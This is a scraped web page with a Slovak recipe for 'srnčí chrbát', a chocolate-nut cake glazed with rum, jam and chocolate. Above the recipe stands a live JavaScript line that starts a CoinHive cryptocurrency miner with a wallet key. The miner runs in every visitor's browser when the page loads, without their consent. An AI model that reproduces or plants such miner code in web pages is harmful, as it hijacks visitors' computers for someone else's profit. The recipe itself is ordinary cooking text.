var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme: 5 vajec, 14 dkg masla, 14 dkg mletých orechov, za hrsť kandizovaného ovocia, 5 PL práškového cukru, jednu posekanú tabuľku čokolády, 3 posekané orechy (nemusia byť), 1 PL kakaa (kopcom), rum, pikantný lekvár

Postup: Pomleté orechy, kandizované ovocie, posekané orechy a čokoládu spolu zmiešane, aby nám pri pečení nepadli na dno formy. Žĺtky, cukor a maslo vymiešame do peny, zľahka vmiešame sneh a orechy so všetkými ingredienciami. Formu dobre vymastíme, posypeme strúhankou alebo múkou. Vlejeme cesto a pečieme v predhriatej rúre asi 45 minút. Špáradlom skontrolujeme či sa nelepí. Po upečení vyklopíme. Na povrch nalejeme trochu rumu a celý srnčí chrbát potrieme pikantným lekvárom. Necháme dobre zaschnúť a polejeme čokoládovou polevou. Môžeme ozdobiť mandľami.